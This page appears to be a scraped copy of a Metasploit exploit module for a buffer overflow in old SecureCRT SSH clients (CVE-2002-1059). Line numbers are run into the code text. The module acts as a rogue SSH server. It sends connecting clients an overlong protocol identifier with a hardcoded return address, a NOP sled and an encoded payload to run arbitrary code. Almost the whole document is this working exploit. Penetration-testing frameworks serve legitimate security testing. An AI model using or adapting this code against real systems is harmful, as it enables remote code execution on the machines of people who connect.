Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ssh/securecrt_ssh1.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(update_info(info,12'Name' => 'SecureCRT SSH1 Buffer Overflow',13'Description' => %q{14This module exploits a buffer overflow in SecureCRT <= 4.015Beta 2. By sending a vulnerable client an overly long16SSH1 protocol identifier string, it is possible to execute17arbitrary code.1819This module has only been tested on SecureCRT 3.4.4.20},21'Author' => 'MC',22'License' => MSF_LICENSE,23'References' =>24[25[ 'CVE', '2002-1059' ],26[ 'OSVDB', '4991' ],27[ 'BID', '5287' ],28],29'DefaultOptions' =>30{31'EXITFUNC' => 'process',32},33'Payload' =>34{35'Space' => 400,36'BadChars' => "\x00",37'MaxNops' => 0,38'StackAdjustment' => -3500,39},40'Platform' => 'win',41'Targets' =>42[43[ 'SecureCRT.exe (3.4.4)', { 'Ret' => 0x0041b3e0 } ],44],45'Privileged' => false,46'DisclosureDate' => '2002-07-23',47'DefaultTarget' => 0))4849register_options(50[51OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])52])53end5455def on_client_connect(client)56return if ((p = regenerate_payload(client)) == nil)5758buffer = "SSH-1.1-OpenSSH_3.6.1p2\r\n" + rand_text_english(243)59buffer << [target.ret].pack('V') + make_nops(20) + payload.encoded6061print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")6263client.put(buffer)64handler6566service.close_client(client)67end68end697071